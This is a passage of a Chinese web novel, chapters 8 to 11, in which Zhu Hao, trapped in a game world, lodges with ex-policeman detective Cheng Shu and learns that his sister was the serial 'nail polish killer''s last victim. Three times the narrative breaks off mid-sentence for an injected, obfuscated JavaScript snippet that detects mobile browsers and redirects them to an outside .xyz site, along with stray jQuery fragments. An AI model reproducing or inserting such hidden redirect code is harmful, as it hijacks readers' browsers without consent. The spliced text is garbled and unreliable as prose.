女孩愣怔片刻,随即好像明白了什么,淡淡笑了一下:“你好像误会了,我跟程述只是朋友。”
敢情这还白解释了半天,祝好更尴尬了,干笑了一声:“是、是吗?”
女孩好像并不关心她为什么会出现在程述家,只是探头看向屋里:“程述在吗?”
“他好像出去了。”
“那我——”
祝好这才反应过来,侧过身子给她让开一条道:“你先进来坐着等吧。”
虽然这不是自己家,她也没有权利随便把人请进来,但这女孩显然跟程述是认识的。
再说了,总不能把一个女孩子晾在门外吧?
女孩径直走到沙发上坐下,祝好也站定在沙发旁,搓了搓手,象征性问道:“你要喝点儿什么吗?”
“喝水就行。”
祝好环视客厅,却没看到饮水机的影子,只好扶着墙一瘸一拐走到冰箱前。
打开一看,冰箱里面塞满了罐装的啤酒和碳酸饮料,唯独没有水。
看她一脸窘迫,女孩开口道:“要不我自己来吧。”
祝好连忙点头。
8. 第 8 章
女孩起身走向厨房,轻车熟路从碗柜里拿了两个杯子冲洗干净,拎起水壶倒了两杯水。
她把一杯水递给站在厨房门口的祝好,手伸到半空中时眼神扫过她的脚踝,突然意识到什么:“我帮你拿过去吧。”
两人重新回到沙发上坐下,手里捧着各自的水杯相对无言。
祝好清了清嗓,嘴角泛起一个友善的弧度,率先打破尴尬:“对了,我叫祝好。”
“哦,祝小姐,你好。”女孩敷衍地笑了一下,随即回避了她殷切的目光,低头看着手里的杯子。
祝好等了一会儿,也没见她有自报家门的意思,不由得心生芥蒂。
就算是表面上的客套,也得装装样子吧?
于是她主动问:“你叫——”
女孩愣了一下,才含糊地回答:“许安宁。”
她大概是感冒了,鼻音听起来有些重,时不时吸溜着鼻子。
不等祝好接茬儿,她就放下杯子,随手抓起桌上的一本杂志低头翻看起来。
杂志封面印刷十分劣质,上是一个金发碧眼,姿势妖娆的比基尼女郎,“XX男性专科医院,专治冲锋枪不猛”几个大字格外显眼——
很显然,这样的杂志不会是女孩子感兴趣的,许安宁也的确看得心不在焉。
祝好知道,她这是试图用行动打消她继续搭话的念头,便也识相地闭上了嘴。
客厅里只剩下墙上时钟的滴答声和书页翻动的声音。
借着端起水杯的功夫,她不着痕迹地打量着许安宁。
她身材高挑且丰腴,大约比自己高了半个头,身上穿着一套短袖制服,胸口绣着几个小字——盛美医疗美容中心。
作为医美机构的工作人员,她脸上倒没什么人工雕琢的痕迹,乌黑的头发仔细地盘在后脑勺,瓜子脸白皙小巧,一双杏眼含着水光,是十分自然的美。
两人就这么坐了约摸半个小时,祝好杯里的水早已喝得一滴不剩,眼看许安宁也快把手里的杂志翻烂了,却迟迟未见程述的身影。
她攥着空杯,有些不自在,于是试探性地问道:“要不你给他打个电话?”
许安宁闷闷地答道:“打过了,他没接。”
听她的语气,祝好猜测,他俩的关系一定不止是朋友那么简单。
许安宁熟知餐具和水壶的位置,显然不是第一次来程述家了。
再说了,如果真的只是朋友,当她第一眼看到自己时表情里的惊疑和之后的淡漠又该怎么解释?
锁芯转动的声音打断了祝好的思绪,她和许安宁同时抬头朝门口看去,就见胸前挂着一台相机,鸭舌帽遮住大半张脸的程述提着一个超市的大袋子开门进了屋里。
他掀起眼皮,目光从祝好身上扫过,落在许安宁脸上,微微皱了皱眉。
祝好抢先开口:“你们慢慢聊,我上去收拾一下东西。”
说完撑着沙发扶手起身,蹦跶几步,从木阶梯回到了阁楼。
她这么说一方面是不想掺和他们之间的事,另一方面也换个角度告诉许安宁,自己昨晚真的是在阁楼里睡的。
然而这老房子隔音并不好,隔着一层薄薄的楼板,还是能听清他们的对话。
“你看新闻了吗?”说话的是许安宁。
程述说:“我昨天去现场看过了。”
“是他又出现了,对不对?”
——结合上下语境,这个“他”指的就是指甲油杀手。
许安宁来找程述,是为了指甲油杀手的事儿?
祝好脑子有些发懵,只得继续往下听。
“尸检报告没出来,还不能确定,说不定只是模仿作案。”程述语气很淡。
许安宁的情绪突然有些焦躁:“就算是模仿作案,他也应该会出现的,对不对?”
程述微微叹了口气:“这是警察的事儿,你别管了,最近出门小心点儿就行。”
冰箱门被打开,接着是易拉罐的碰撞声和拉环拉开的声音,祝好忍不住抻长脖子,从栏杆处探出半张脸向下张望。
“别喝了,你还想这样子到什么时候?”
见程述又开始喝酒,许安宁忽然变得不耐烦,伸手去夺他手里的易拉罐。
程述反应不及,只喝了几口的啤酒“哐当”落在两人之间的地板上,带着气泡的金黄色液体汩汩流了一地。
他有些无奈地拎起被啤酒打湿一片的领口抖了抖,弯腰捡起地上的罐子扔进垃圾桶,打开冰箱又重新拿了一罐。
拉开拉环猛灌了一大口后,他向着门口的方向扬了扬下巴:“你该去上班了。”
语气毫无波澜,但送客的意味很明显。
许安宁低着头站在原地没动弹,表情好像很失望,双手紧紧攥着拳。
片刻后,她转身走向门口,高跟鞋把木地板踩得“笃笃”作响,接着又“嗵”一声把门甩上,带起的穿堂气流把祝好的刘海儿都掀了起来。
祝好正犹豫要不要下楼,就听到程述说:“别偷听了,下来吧。”
她这才扶着栏杆从木阶梯上下来,心虚地转移了话题:“你怎么那么直男,吵架就吵架,人家给你台阶了你麻溜滚下去不就行了?”
——按她的推测,这两人多半是吵架了,许安宁这是随便找个借口来跟他和好呢。
没想到这家伙油盐不进,非但不说点好话哄哄,还把人家给赶走了。
最重要的是,家里平白无故出现一个女人,他甚至不愿解释清楚,这不是火上浇油嘛。
程述把啤酒搁在桌上,瞥了她一眼,道:“关你什么事儿。”
祝好本来还想多劝他几句,被他这么一怼,眼角一抽,刚才因为偷听而生出的那点儿愧疚瞬间荡然无存。
如果系统能显示她对程述的好感度,那一定是100。
当然,是负的。
程述回房间换下了被啤酒打湿的衣服,打开橱柜拿出一包厨房纸,唰唰唰连抽出几张扔在被啤酒浸湿的地板上。
忽然像是想到什么,他指了指放在茶几上的袋子:“刚才路过超市,顺便给你买了些东西。”
“给我买的?”祝好迟疑地看着那满满一大袋东西,对他态度的突然转变有些不可置信。
他把吸饱啤酒的厨房纸拎起来扔进垃圾桶,不咸不淡道:“不要就算了。”
祝好没说话,打开袋子瞅了一眼,里面是一些日用品,有牙刷、杯子、毛巾,一双拖鞋,甚至还有一包卫生巾。
除了卫生巾是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000013|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个叫得上名字的牌子,其他东西从质量上看,都是挑最便宜的买。
不过想着自己最多也就住一星期,她倒是没觉得有什么不妥,反而还有些感动,毕竟他根本没这个义务给自己准备这些,更别说准备得还挺周到。
想到这儿,她对程述的好感勉勉强强加了5个点。
继续往下翻,发现袋子最底部有一套衣服。
抖开一看,是一条带着荷叶边的黑色宽松九分裤,和一件印着大朵红艳艳牡丹花的短袖衫。
是一套中老年妈妈装。
她嘴角抽了抽:“这是——”
程述眼神瞥过来,微乎其微地勾起一边嘴角:“给你买的换洗衣服,不客气。”
故意的,他绝对是故意的。
刚刚好不容易加上的那5点好感度瞬间归零。
程述选择性地忽略了她眼角斜飞出来的冷光,他清理完地上的酒渍,抓起桌上没喝完的啤酒,走到办公桌前四仰八叉地坐进椅子里,摁着桌边连人带椅往后退了一些,两条长腿交叠着搁在桌上。
接着从相机里取出一张内存卡插进电脑里,眯眼看着屏幕,手里的鼠标不停向下划拉着。
祝好端着杯子和牙刷进了卫生间,刚打开水龙头,就听到他似乎在跟谁打电话,语气十分友好,甚至带了些谄媚,跟他平时说话那气死人不偿命的调调差了十万八千里。
她把出水量调小了一些,竖起八卦的小耳朵。
“……喂,陈太,照片我已经给您发过去了,作为证据已经足够让您先生净身出户,您看尾款……诶,好好好,谢谢啊。”
从卫生间的门缝里向外望去,正好能看到办公桌。
只见他把手机夹在肩膀上,一手垫在脑后,一手晃着啤酒罐,脸上挂着讨好的笑。
“诶,吃饭是小事儿,您先把您先生的事解决了,我们不是有大把时间嘛!那个,下次您有朋友有需要的话记得帮我介绍介绍呗,保证满意。”
挂了电话,他的脸立刻冷了下来,嘴里不知嘟囔了句什么。
看口型,不是什么好话。
对着手机屏幕划拉片刻后,他又把手机架在耳边,电话接通的瞬间,嘴角也顺势弯了起来。
“刘叔,这边接到消息说有人在您家附近看到过翠莲,我马上过去找找,您别着急啊……”
听起来不是什么值得八卦的内容。
祝好把卫生间门关上,反锁。
换上程述给她买的那一套妈妈装,她对着镜子摸了摸那天晚上摔倒时被碎石划出几道疤痕的脸。
怪好看的一张脸,怎么就受伤了呢。
她叹了口气,自从进到这游戏世界里,倒霉事儿就一箩筐一箩筐地来。
不过幸亏伤口不深,好好护理倒是不至于留疤。
后脑勺虽然挨了一板砖,好在没破皮,不然听医生的意思,得把大半个脑袋的头发给剃了。
唯二比较严重的伤就是手臂上被水果刀划出的那道口子和扭伤的脚踝,再养几天,多半也没什么事儿了。
也算是不幸中的万幸。
她自认为优点不多,乐观算是其中一样。
这么一想,连身上这件印着牡丹花的短袖衫都变得顺眼不少。
9. 第 9 章
走出卫生间时,程述正好从椅子上起身。
他瞥了眼祝好的衣服,很明显憋着笑,但很快又敛了回去。
祝好回了他一个恶狠狠的眼神,他当没看见,把手机揣进兜里,转头对她说:“我出去一趟,厨房里有泡面,饿了你就自己解决,别随便出门。”
气归气,祝好忍不住问:“你去哪儿?”
他消失了一早上,去超市给她买的东西也是“顺便”,这会儿又急着要出门。
虽然跟自己没什么关系,但她还是控制不住好奇。
程述出乎意料没怼她,答道:“工作挣钱付房租。”
结合刚才他打电话的内容,祝好这才猛然反应过来,原来帮富婆偷拍出轨的老公就是他的工作。
刚开始听到“侦探”这个职业,还以为他是像柯南那样屡破奇案的人物呢。
她“哦”了一声,转身进了厨房。
程述没注意到她的小心思,把鸭舌帽往头上一扣就往门口走。
祝好叫住他:“大侦探,我可不可以借你的电脑用用?”
他回头瞟了她一眼,有些戒备:“你要干什么?”
祝好随意找了个借口:“我找找有没有合适的房子,总不能一直赖在你家吧。”
大概是觉得她说得有道理,程述没再追问,只交代了句“桌面的文件夹别乱点开”就出了门。
祝好选了碗红烧牛肉味的泡面,掀开包装和碗盖,把烧好的热水倒进去。
等待泡面泡好的当儿,她从厨房的窗子向下张望,正好看到程述已经拐进了巷子里,这才走到电脑前坐下,打开浏览器,在搜索栏里输入了“指甲油杀手”几个字。
这个游戏通关的条件是找出真凶和攻略NPC,同时完成这两件事对她来说显然是不大可能的,所以她决定先完成自己擅长的推理部分。
既然要推理,搜集资料是必不可少的部分。
浏览器里跳出来关于“指甲油杀手”的内容还真不少,从时间上看,大多集中在五年前。
按秦聿风所说,十三年前他第一次犯案,此后的八年时间里,他连续杀害了九名女性。
当时整个淮江市人心惶惶,关于他的新闻也占据了各大报纸和网站的头版头条。
五年前,他突然停止作案,仿佛人间蒸发一般,再也没有出现过。
人们又回归了看似平静的生活,头条也很快被别的热点所替代,只有当地论坛上偶尔还会蹦出零星几条关于他的讨论和猜测。
这个曾经在淮江市掀起轩然大波的连环杀手逐渐被遗忘,直到昨天公园里那具女尸的出现,这个称号一夜之间又重现回到了人们的视野中。
祝好跳过昨天的新闻——毕竟她看过现场,知道的可比记者报道出来的详细多了,正按着时间倒序往下拉,就被一段视频吸引住了。
从标题上看,是电视台对负责连环杀人案的警员的采访,时间正是五年前。
而接受采访的人看起来有些眼熟,这是……
程述?
祝好皱了皱眉,点开视频放大到全屏。
没错,果然是他。
一开始没认出来,是因为视频里的他穿着笔挺的制服,留着一头利落的短发,露出精致又冷厉的五官,一脸的桀骜不驯,跟现在这副头发凌乱胡子拉碴的死宅形象相差甚远。
推算起来,程述的年纪已经和秦聿风差不多,都是二十八九岁。
五年前那会儿,他也就二十三四岁的样子。
采访的内容乍一看也没什么特别的,无非就是对指甲油杀手的一些分析,以及让广大市民注意安全,近段时间女性出门时尽量结伴的提醒。
再往下拉就是视频的评论区,除了对连环凶杀案的讨论外,清一色是“这个警察叔叔好帅,求贴身保护”之类的调侃。
帅吗?
祝好把视频重新放了一次,嗯,确实还不错。
虽然他不是可攻略角色,但是跟秦聿风和温珣相比,也丝毫不逊色。
当然,如果能把那张吐不出象牙的狗嘴给缝起来,一切就完美了。
她忍不住在心里吐槽,得亏这是个游戏,不然一个警局里全是帅哥,那不得一堆人排着队犯案,等他们给自己戴上银手镯?
关掉视频,她继续寻找跟指甲油杀手有关的新闻。
然而两个小时过去,坐得腰酸腿麻屁股疼,眼睛都看花了,也没有什么收获。
总结新闻媒体和各路小道消息得到的信息,只知道这个连环杀手喜欢对身高一米六左右,留着中短发的年轻女性下手。
他会近距离攻击她们,将她们带到偏僻处凌虐,再把刀刺进她们的心脏里。
抛尸时,他还会给尸体涂上红色指甲油,并摆成特定的姿势——就像昨天在公园里见到的那具女尸一样,跪坐在地上,双手合十,像是在祈祷。
或者说,是祈求。
跟秦聿风之前告诉自己的差不多。
至于她的一些疑问,比如他更具体的作案手法,作案动机,以及秦聿风一直闭口不谈的那第九个被害者,却始终找不到答案。
也不奇怪。如此重大的案件,大部分细节警方一定是对外保密的,因此能见报的内容基本大同小异。
天色渐渐暗了下来,直到肚子发出一阵抗议,她这才惊觉自己还有一碗泡面忘了吃。
等她单脚蹦跶到厨房掀开碗盖一看,汤汁都已经被面饼吸干了,叉子一搅和,就碎成了一碗粥糊糊。
啧,虽然浪费,但实在下不了口。
她把粥糊糊倒进了垃圾桶里,正打算重新泡一碗,就被突然响起的敲门声吓了一跳。
转头看向墙上的挂钟,时针和分针交叠指向六,傍晚六点半。
会是谁呢?楼下的包租婆、不死心的许安宁,还是忘带钥匙的程述?
吸取了早上的教训,她轻手轻脚来到门边,透过猫眼向外望去,发现是秦聿风,这才放心地拧开把手。
门一开,秦聿风眉眼就弯起来:“祝小姐,住得还习惯吗?”
祝好也报以一笑:“挺好的,秦警官,你怎么来了?”
他掂了掂手里的披萨盒子,“下班顺路过来看看,给你们带点儿吃的。”
进到屋里,看着祝好身上的衣服,他欲言又止,最后还是忍不住道:“你这身衣服还挺——”
“挺”了半天,他才憋出一个词:“别致。”
真不愧是人民的好警察,连吐槽都那么含蓄。
祝好愣了一下,门开得太急,差点儿忘了身上这几朵大红艳艳的牡丹花。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000014|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她悄咪咪打开系统控制面板看了一眼,幸亏好感度还是10,并没有因为自己这一言难尽的扮相而减少半点。
虽然如此,她还是解释道:“程述买的。”
秦聿风轻轻笑了一声,没说话。
看她两眼放光,直勾勾盯着茶几上的披萨盒子,他贴心地问:“饿了?”
祝好不好意思地点点头,确实饿了。
本来没那么饿,但是披萨盒子在她面前一放下,混合着芝士的奶香、面饼的焦香,以及各种食材的香味当下四溢,她的肚子立刻不争气地“咕”了一声。
“那不管老程了,我们先吃吧。”
说完他推开茶几上的杂物,把披萨盒摊开,给祝好递了一只一次性手套。
人民警察就是好,正直,善良,还会关心人,笑容也让人如沐春风。“警民一家亲”这五个字在此刻体现得淋漓尽致。
祝好带上手套,抓起一块还冒着热气的披萨就往嘴里塞,被烫得龇牙咧嘴。
秦聿风欠身坐着,手肘搭在膝盖上,看她狼吞虎咽的模样,便问:“老程去哪儿了?没给你留口吃的?”
祝好嘴里塞满披萨,含糊不清道:“他出门挣钱去了,让我自己在家解决。”
说完又觉得不太对,这话怎么听起来跟自己被包养了似的。
秦聿风倒是没在意这个,乐了下:“哟呵,这家伙是没钱付房租了吧?”
祝好潦草点头,把昨天晚上被房东大妈追着讨债的事儿跟他说了。
听完后他没说什么,只是笑了一下。不过不是嘲讽,更像是无奈,还带了些惋惜。
祝好把披萨囫囵咽进肚里:“秦警官,可以问你个问题吗?”
“怎么了?”
“你是不是跟程述认识很久了?”
讨厌归讨厌,祝好对他还是抱有些好奇心的。
一个前途大好的年轻警员,为什么会沦落到连房租都差点儿付不起的地步?
秦聿风没有直接回答,反问她:“怎么突然问这个”
祝好实话实说:“我今天搜索指甲油杀手的新闻,看到了他的采访。”
这个回答十分合情合理,秦聿风也没再多问。
他点点头:“认识五六年了,我和他是同一年通过考核进的警局。”
这话温珣也说过。
祝好问:“温主任也是吗?”
秦聿风突然笑了一下:“对,那会儿我们并称警界三草。”
这什么鬼称号。祝好刚喝进去的水差点没喷出来,幸亏憋住了,连忙转移话题:“那他俩怎么那么不对付?”
秦聿风看祝好杯子里的水空了,从厨房里拿来水壶给她又倒了一杯:“也不算不对付,更像是相爱相杀吧。”
温珣虽然性子温吞,人又娇贵得很,但年纪轻轻就当上法医主任,业务能力自然是不用说的。
而程述胆大心细,拥有超然卓绝的观察能力,擅长对犯人的心理和行为进行剖析。
两个人都是各自领域的精英,精英碰在一起嘛,就像两块石头装进同一个盒子里,总会有磕磕碰碰的。
祝好双手圈着杯子,问:“你呢?”
“我?”秦聿风笑了一下,指了指她手里的杯子:“我无所谓,我就像水,倒进哪儿都能融入。”
10. 第 10 章
闲聊了几句,秦聿风突然问:“对了,你怎么突然想到要查关于指甲油杀手的新闻?”
祝好正思忖要怎么把话题引过去,没想到他主动开口问了,便顺势回答:
“你不是说他随时会对我下手吗?只有早点抓到他,我才不需要担惊受怕的。”
见秦聿风点点头表示理解,祝好小心翼翼地问:“秦警官,你能告诉我一些关于指甲油杀手的事吗?”
秦聿风想了想,大概是觉得告诉她也无妨,便说:“你想知道什么?”
如果一开始就追问案件细节,那未免太刻意了。
祝好略一思忖,问道:“你们刚进警局就开始追查他的案子了吗?”
秦聿风点了点头。
他们刚进警局那会儿,指甲油杀手已经连续犯案七年了,案件调查却迟迟没有进展。
以往他都是每隔一两年才会犯案一次,然而那一年,他竟在半年时间里连续杀害了三名女性,而且作案手法越来越娴熟,也越来越残忍。
他牢牢掌握着控制权,而警方则一直被他牵着鼻子走,承受着巨大的社会压力的同时,还找不到任何线索。
程述当年以十分出众的成绩毕业于警校的犯罪心理学专业,进入警局后,他研究了以往的案件细节,对指甲油杀手进行了详细的心理侧写:
指甲油杀手应该是个在人群中十分不显眼的人,做着一份普通的工作,生活中很少会引起其他人的注意。
他的每一次作案都是有计划的,能连续犯案多起却没有留下任何痕迹,说明他十分聪明且谨慎。
同时他也十分自恋,觉得自己应该受到某种公众层面上的认可。
把受害人尸体摆在容易被发现的位置,就是他渴望引起关注的一种表现。
“不对啊。”祝好捏着下巴,觉得有些不对劲。
秦聿风看出了她的困惑,笑了笑:“你是不是想问,为什么这些跟老程在采访里说的完全相反?”
祝好一愣,忙问:“为什么?”
秦聿风换个了个姿势,把手肘架在沙发扶手上,支着下巴:“既然凶手渴望引人注目,就一定会关注跟自己有关的新闻,老程认为,我们或许可以利用这一点让他露出破绽。”
按程述的推测,指甲油杀手的自恋会使他无法忍受警方对自己做出的错误分析,所以一定会做出回应。
祝好听得入神,下意识问:“可他一旦受了刺激,不是很有可能会继续犯案吗?”
秦聿风点头:“确实有这个可能,但当时他的杀人手法一直在进化,杀人的间隔也越来越短,我们只能放手一搏。”
果然那个采访在电视上播出没过多久,指甲油杀手就给电视台寄去了一封打印的信,并附上了几张受害者的照片。
在信里,他嘲笑了警方的无能,表现出了极致的优越感。
信件的最后,他直接点了程述的名字,说一定会让他后悔。
程述年轻气盛,自然不会将这样的威胁放在眼里,甚至在那之后,又连续接受了几次采访,利用媒体来跟指甲油杀手保持着“沟通”。
“没过多久,指甲油杀手果然再次犯案了,那也是他最后一次犯案。或许是因为太过自负,那一回他露出了破绽,在现场留下了一枚血脚印。”
秦聿风给自己倒了杯水,一饮而尽。
祝好有些兴奋:“那是不是就可以从鞋印的类型入手了?”
“我们当然查过了,但那是一款市面上十分常见的水鞋,全市几千家超市和劳保用品店都能买到,根本无从查起。”
从足迹上看,指甲油杀手是个身高一米七五,体重70公斤左右的男人。
虽然光凭一枚脚印根本没办法找到他,但至少算是有了一丝希望。
然而从那之后,指甲油杀手就像人间蒸发了一样,再也没有出现过。
“那程述为什么……”问到重点,祝好再三斟酌着措辞:“不当警察了?”
秦聿风似乎没想到她会问这个,顿了顿,掏出烟盒抖出一支烟在桌子上磕了下,抽出一支刚要点上,抬眼看了看她,旋即意识到什么,又把烟别在了耳后。
他起身踱步到窗边往下看了一眼,确认楼下没有程述的身影,才回到沙发上坐下。
“老程从小父母双亡,只有一个妹妹跟他相依为命。”
这句话开始得突然,没头没尾的。
他掏出手机翻了翻相册,找到一张照片递给祝好。
祝好接过手机,看到屏幕上是一张合影。
照片里一左一右分别站着秦聿风和程述,中间是一个明眸皓齿,笑靥如花的长发女孩儿。
秦聿风垂下眼帘,挡住眼中突然涌入的情绪:
“她叫程霜,比老程小四岁,长得很漂亮。每次她去警局找老程都会引来很多人围观,我当时还开玩笑说要当他妹夫呢。”
祝好没说话,她想到那条被压出折痕的睡裙,突然明白了什么,心里涌起不好的预感。
“她不会是……”
秦聿风轻轻点了点头,证实了她的猜想:“她就是当年最后一个受害者。”
祝好头皮一紧,张了张嘴,却说不出话来。
秦聿风接着道:“那天晚上下着大雨,我们突然接到一个报警电话。电话里,有个女人称自己被人跟踪了,对方就穿着黑色雨衣。”
听到“黑色雨衣”这四个字,她立刻想起那把闪着冷光的刀,一股寒意瞬间爬上颅顶。
“我和老程带队用最快的速度赶往现场——一处废弃的工厂,在里面找了很久,最后只在角落里找到一部装了变声器的手机,手机里有一段视频……”
秦聿风不安地抖着腿,似乎是在调整情绪,停顿了约莫半分钟,他才继续道:
“视频里,小霜倒在地上,满身是血,一个穿着黑色雨衣的人正对着镜头给她涂着指甲油,等我们找到那里时,她已经……”
他没再说下去,深深呼了口气,放在膝盖上的手也因为太过用力而骨节泛白。
祝好能够理解他的悲愤。
她从未跟程霜有过交集,然而单是看着照片上那张曾经鲜活的笑脸,就已经觉得心里难受得慌。
想说些安慰的话,竟一时不知道该说什么好,最后还是秦聿风先开的口。
“在杀害小霜之后,指甲油杀手就消失了,而老程把所有责任都揽到了自己身上,像疯了一样,发誓掘地三尺也要把他找出来。”
“他属于当事人的近亲属,按照规定不能再参与这件案子的调查。他索性提出了辞职,警局的领导当然舍不得这样一个人才,再三挽留,他还是离开了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000015|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,开了个这什么……侦探社。”
“这些年他也一直没放弃追查这个案子。”他苦笑一下:“说实话,如果他还在,队长这个位置还真轮不到我来坐。”
祝好陷入沉思。
指甲油杀手以往的目标都是一米六左右的中短发年轻女性,可照片上的程霜身材高挑,长发及腰,应该不是他偏好的受害者类型。
他之所以选择对她下手,只是为了向程述宣战。
从小相依为命的妹妹,间接地因为自己失去了生命。
祝好根本不敢想这是一种什么样的感觉,也突然对他那古怪的性子多了些理解。
客厅里一时之间陷入了沉默。
良久,秦聿风笑了笑:“不聊这个了,都过去了,我们换个话题吧。”
一句话的功夫,他就把先前的那份悲伤和凝重收敛得一干二净,换上一副什么也没发生过的笑脸。
换个话题也无妨。
祝好问道:“你认得许安宁吗?”
“许安宁?”秦聿风偏了偏脸,目光在她脸上打转,似乎是在思忖她为什么突然这么问。
祝好解释:“她今天早上来找过程述,情绪很激动,我听了几句他们的谈话,内容也跟指甲油杀手有关。”
秦聿风道:“许安宁,我当然认得。不止认得,还很熟悉,因为她的姐姐也是连环杀人案的受害者之一。”
祝好一愣。
他叹了口气:“十年了,每年快到许安宁姐姐忌日的时候,她都要去警局门口拉横幅,督促我们继续追查指甲油杀手的案子。”
难怪她在得知指甲油杀手重新作案的事会如此激动,而程述当年又是负责调查这起案子的警员,不难推测出他们是因为这件事儿才有了交集。
祝好小心翼翼地打探:“她不会是程述的女朋友吧?”
“女朋友?”
听到这个词,秦聿风哑然失笑。
“自从小霜出事后,老程就封心锁爱了。别说女朋友,就他这屋,”他伸出食指对着天花板转了一圈,“我估计你是第一个住进来的女性。”
祝好嘴角抽了抽,听他这话,自己还应该感到荣幸不成。
秦聿风忍俊不禁:“再说了,如果他真有女朋友,我也不会让你住进他家啊,这不是摆明了要破坏别人感情嘛。”
祝好点点头,这倒是。
她话锋一转,突然问:“话说回来,程述为什么愿意让我住在这儿呀?”
秦聿风怔了一下,挠挠头,脸上是难得一见的心虚:“他……可能是良心发现了吧。”
祝好哼了一声,一副“鬼才信你”的表情:“你昨天晚上在他耳边说的是什么?”
程述一看就是不希望沾上任何麻烦的人,他愿意让一个无亲无故的人住在家里,只可能有一个原因,那就是引蛇出洞。
秦聿风愣了一下,笑得更心虚了:“你还真挺聪明的,不过你也知道老程那性子,我实在没别的办法说服他了,又担心你没地方可去,所以……”
祝好摆摆手:“没关系,我还得谢谢你呢。”
虽然住在程述家对她来说不是最优选择,但好歹有了个落脚的地方。
况且找出真凶、完成剧情也是通关的条件之一,在这一点上,她跟程述算是有了一个共同的目标。
11. 第 11 章
门外响起脚步声,接着是钥匙转动的声音。
程述开门走进屋里,一眼就瞥见大剌剌坐在沙发上的秦聿风,对他这不请自来的行为翻了个白眼。
秦聿风似乎已经习惯了他这样的反应,不气也不恼,嘿嘿一笑道:“老程,你这是打猎还是打架去了?”
祝好这才发现他衣服上沾满杂草和泥垢,乱糟糟的头发上挂着蜘蛛网,下颌还有几道细长的血印子。
程述没好气道:“抓刘翠莲去了。”
秦聿风“噗”一声笑出来:“刘翠莲?哪个有钱人的小三叫这种名字?”
“什么小三,是楼下刘叔家的小三花猫,前两天离家出走了,我刚去给抓回来。”
他扒拉掉头发上的蜘蛛网,在卫生间里洗了把脸,打开冰箱拿出两罐啤酒,转头问秦聿风:“你那么闲吗?不去查案来我家来干什么?”
“我来关心关心你,顺便给你们带点儿好吃的。”秦聿风往沙发里一靠,随手拿起许安宁看过的那本杂志翻了翻,嘿了一声:“老程,你还看这种书呢,你冲锋枪不猛啊?”
“你冲锋枪才不猛,这是前两天塞在门口的广告。”程述把一罐啤酒抛给他:“尸检结果怎么样了?”
秦聿风稳稳接住啤酒却没打开,只是搁在茶几上:“还没出来,怎么,你想知道?”
程述一脸“你这不是废话吗”,无语反问道:“你说呢?”
“行啊,我催一催温珣,出来了通知你。”他起身拍了拍程述的肩膀,“酒我就不喝了,待会儿还要开车。”
“哟,还跟我客气,来都来了,怎么能空手回去呢,等等啊。”程述说完转身进了厨房。
趁这空当儿,秦聿风欠身在祝好耳边悄悄说了句:“今天的事——”
祝好明白他的意思,看了看厨房的方向,点点头低声道:“放心吧,我会保密的。”
他点点头,直起身子时,程述正好从厨房里出来,把两大袋垃圾塞进他手里:“辛苦了,秦警官。”
*
“喂,起来。”
迷迷糊糊中,祝好感觉有人在叫自己。睁开眼时,映入眼帘的是程述那张欠揍的脸。
她一激灵从沙发上蹦起来,下意识举起手就要往他脸上抡一耳光。
程述对她的反应早有预判,眼疾手快一把攥住她的手腕:“是我。”
祝好当然知道是他,她抓过毯子护在身前:“你,你你你你你干什么,不会敲门吗?”
程述松开她的手,大拇指向后指向楼梯口:“敲什么门,这阁楼哪儿有门。”
这阁楼确实没有门,从木阶梯爬上来就是个门框。
祝好一时想不到反驳的话,愤愤地缩在沙发上:“那你也不能一声不吭就进别人房间啊。”
他没有半点愧疚的意思:“什么别人房间,这是我家,我爱上哪儿不行。”
祝好竟无言以对,只觉得一团闷气憋在胸口。
他直起身子,一句话就把她的火气压了回去:“起来收拾一下,我要去警局,你跟我一起。”
哟呵,这人是一夜之间转了性子还是被什么玩意儿夺舍了,前两天还对她嫌弃得不行,现在竟然主动要带她出门。
祝好一脸狐疑眯眼看他,揣测着他的用意。
他好像料到祝好想说什么:“你以为我想带着你?昨天我出去一天你就擅自放了两个人进我家,太危险了。”
祝好:……
她实在搞不懂这个人的脑回路,说得好像她放进来的是两个全副武装的恐怖分子似的。
不过能去趟警局倒是正合她意。
按秦聿风所说,公园那个受害者的尸检报告今天应该就能出来了,没准还能打听到什么有用的线索。
她用手背朝着程述挥了挥,示意他出去,自己要换衣服。
程述转头往楼梯走了两步,又顿住了脚步,没头没脑地说了句:“我刚刚在楼下叫过你,你睡得跟死猪似的,一点反应都没有。”
敢情这锅还得她来背。
祝好默念着大人不记小人过这句至理名言,快速换好了衣服——当然不是那套印着牡丹花的妈妈装,而是她穿越进来时穿的白色T恤和牛仔裤。
她把脚放在地上踩了踩,发现脚踝上的淤肿已经消了大半,走动起来虽然有些不便,但至少不用拄着拐杖了。
